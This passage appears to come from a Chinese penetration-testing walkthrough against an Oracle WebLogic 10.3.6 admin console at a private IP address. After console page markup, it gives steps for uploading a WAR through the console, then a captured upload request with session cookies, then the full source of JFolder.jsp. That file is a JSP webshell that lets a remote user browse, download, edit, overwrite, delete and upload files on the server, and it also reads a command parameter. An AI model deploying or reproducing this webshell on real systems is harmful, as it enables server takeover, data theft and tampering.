_aaa = new TreeNode('WorkContextPathTablePage',_aa, 'Work Contexts', '/console/console.portal?_nfpb=true&_pageLabel=WorkContextPathTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Contexts', false, false);
_aaa = new TreeNode('XMLRegistryXMLRegistryTablePage',_aa, 'XML Registries', '/console/console.portal?_nfpb=true&_pageLabel=XMLRegistryXMLRegistryTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Registries', false, false);
_aaa = new TreeNode('XMLEntityCacheTablePage',_aa, 'XML Entity Caches', '/console/console.portal?_nfpb=true&_pageLabel=XMLEntityCacheTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Entity Caches', false, false);
_aaa = new TreeNode('JComClassTablePage',_aa, 'jCOM', '/console/console.portal?_nfpb=true&_pageLabel=JComClassTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'jCOM', false, false);
_aaa = new TreeNode('MailMailSessionTablePage',_aa, 'Mail Sessions', '/console/console.portal?_nfpb=true&_pageLabel=MailMailSessionTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Mail Sessions', false, false);
_aaa = new TreeNode('FileT3FileT3TablePage',_aa, 'File T3', '/console/console.portal?_nfpb=true&_pageLabel=FileT3FileT3TablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'File T3', false, false);
_aaa = new TreeNode('DomainConfigJtaPage',_aa, 'JTA', '/console/console.portal?_nfpb=true&_pageLabel=DomainConfigJtaPage&DomainConfigJtaPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'JTA', false, false);
_aa = new TreeNode('SecurityRealmRealmTablePage',_a, 'Security Realms', '/console/console.portal?_nfpb=true&_pageLabel=SecurityRealmRealmTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Security Realms', false, false);
_aa = new TreeNode('InteroperabilitySummaryPage',_a, 'Interoperability', '/console/console.portal?_nfpb=true&_pageLabel=InteroperabilitySummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Interoperability', false, true);
_aaa = new TreeNode('WTCServerTablePage',_aa, 'WTC Servers', '/console/console.portal?_nfpb=true&_pageLabel=WTCServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'WTC Servers', false, false);
_aaa = new TreeNode('JoltConnectionPoolTablePage',_aa, 'Jolt Connection Pools', '/console/console.portal?_nfpb=true&_pageLabel=JoltConnectionPoolTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Jolt Connection Pools', false, false);
_aa = new TreeNode('DiagnosticsSummaryPage',_a, 'Diagnostics', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostics', false, true);
_aaa = new TreeNode('DiagnosticsLogTablePage',_aa, 'Log Files', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsLogTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Log Files', false, false);
_aaa = new TreeNode('DiagnosticsModuleTablePage',_aa, 'Diagnostic Modules', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsModuleTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Modules', false, false);
_aaa = new TreeNode('DiagnosticsImageTablePage',_aa, 'Diagnostic Images', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsImageTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Images', false, false);
_aaa = new TreeNode('RequestPerformancePage',_aa, 'Request Performance', '/console/console.portal?_nfpb=true&_pageLabel=RequestPerformancePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Request Performance', false, false);
_aaa = new TreeNode('DiagnosticsArchiveTablePage',_aa, 'Archives', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsArchiveTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Archives', false, false);
_aaa = new TreeNode('DiagnosticsContextTablePage',_aa, 'Context', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsContextTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Context', false, false);
_aaa = new TreeNode('SNMPAgentsTablePage',_aa, 'SNMP', '/console/console.portal?_nfpb=true&_pageLabel=SNMPAgentsTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'SNMP', false, false);
var messageCatalog = new Array(7);messageCatalog["tree.popup.collapsenode.label"] = "Collapse Node";messageCatalog["tree.popup.expandnode.label"] = "Expand Node";messageCatalog["tree.popup.expanded.label"] = "Expanded";messageCatalog["tree.popup.collapsed.label"] = "Collapsed";messageCatalog["tree.popup.of.label"] = "of";messageCatalog["tree.popup.selected.label"] = "Selected";messageCatalog["tree.popup.level.label"] = "Level";
setHighlightedNodes( 'AppDeploymentsControlPage' );
createTree(_a);
}
document.write('<\/div>');
</script>
<form onsubmit='alert(this.nodeId);' method='post' id='HierarchyManagementForm' name='HierarchyManagementForm' action='/console/console.portal'>
<input type='hidden' name='action' value=''>
<input type='hidden' name='nodeId' value=''>
<input type='hidden' name='_nfpb' value='true'>
</form>
</div>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="QuickLinksBook" class="none"><div class="wlsc-book-content"><div id="QuickLinksPage" class="wlsc-page"><div id="QuickLinks" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>How do I...</h2></div><div class="wlsc-titlebar-button-panel"> <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_windowLabel=QuickLinks&_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">
<ul>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.DeployEnterpriseApplications')">Install an Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.ConfigureEnterpriseApplications')">Configure an Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.UpdateEnterpriseApplication')">Update (redeploy) an Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.StopDeployedEnterpriseApplications')">Start and stop a deployed Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.MonitorEnterpriseApplications')">Monitor the modules of an Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('ejb.DeployStandaloneEJBModules')">Deploy EJB modules</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('web_applications.InstallWebApplications')">Install a Web application</a></li>
</ul>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="SystemStatusBook" class="none"><div class="wlsc-book-content"><div id="SystemStatusPage" class="wlsc-page"><div id="SystemStatus" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>System Status</h2></div><div class="wlsc-titlebar-button-panel"> <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_windowLabel=SystemStatus&_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">
<p class="serverStatusHead">Health of Running Servers</p>
<div class="serverStatusDataArea">
<div class="statusRow">
<div class="statusBar" title="Failed (0)">
<div id="serverStatusBarFail" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Failed&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of FAILED (0)">
Failed (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Critical (0)">
<div id="serverStatusBarCritical" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Critical&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of CRITICAL (0)">
Critical (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Overloaded (0)">
<div id="serverStatusBarOverloaded" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Overloaded&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of OVERLOADED (0)">
Overloaded (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Warning (0)">
<div id="serverStatusBarWarning" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Warning&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of WARNING (0)">
Warning (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="OK (1)">
<div id="serverStatusBarOk" style="width:100%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=OK&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of OK (1)">
OK (1)</a>
</div>
</div>
<div class="clear"> </div>
</div>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div></div></div></div></div></div><div class="wlsc-footer"><div id="console-footer"><div class="info"><p id="footerVersion">WebLogic Server Version: 10.3.6.0</p><p id="copyright">Copyright © 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p><p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p></div></div></div></body></html>
点击安装,选择“上载文件”:
选择需要上载的本地war包
上传的数据包
POST /console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/selectUploadApp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8434166712903
Content-Length: 32108
-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test3693.war"
Content-Type: application/octet-stream
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>
index.jsp
</welcome-file>
</welcome-file-list>
</web-app>
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage = {"文 件 管 理","File Management"};
String[] strCommand = {"CMD 命 令","Command Window"};
String[] strSysProperty = {"系 统 属 性","System Property"};
String[] strHelp = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers = {"驱动器","Drivers"};
String[] strFileName = {"文件名称","File Name"};
String[] strFileSize = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit = {"修改","Edit"};
String[] strFileDown = {"下载","Download"};
String[] strFileCopy = {"复制","Move"};
String[] strFileDel = {"删除","Delete"};
String[] strExecute = {"执行","Execute"};
String[] strBack = {"返回","Back"};
String[] strFileSave = {"保存","Save"};
public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser
String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}
/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&";
else if (i == '<') return "<";
else if (i == '>') return ">";
else if (i == '"') return """;
else return "" + (char) i;
}
/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
sb.append(roots[i]+"</a> ");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M 显示5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}
if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath("/");
}
if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("文件大小为 0 字节,就不用下了吧");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}
if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}
if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");
}
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}
if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbCopy.append("原始文件: "+strPath+"<p>");
sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
if(!strDesFile.endsWith("\\"))
{
strDesFile=strDesFile+"\\";
}
strTmpFile=strDesFile+"cqq_"+strFile;
}
File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
out1.write(buffer,0,c);
}
in1.close();
out1.close();
sbSaveCopy.append("原始文件 :"+strPath+"<p>");
sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
sbSaveCopy.append("<font color=red>复制成功!</font>");
}
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF+" 文件创建失败");
if(strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF+" 目录创建失败");
}
else
{
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
}
}
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");
if(path!=null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName())))
{
request.setAttribute("error", "Cannot upload file.");
error = true;
f1.delete();
}
}
}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }
#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}
#tablist li{
list-style: none;
display: inline;
margin: 0;
}
#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}
#tablist li a:link, #tablist li a:visited{
color: navy;
}
#tablist li a.current{
background: #EAEAFF;
}
#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}
.tabcontent{
display:none;
}
</style>
<script type="text/javascript">
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
////////Stop editting////////////////
function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}
var previoustab=""
function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}
function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}
function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}
function do_onload(){
collecttablinks()
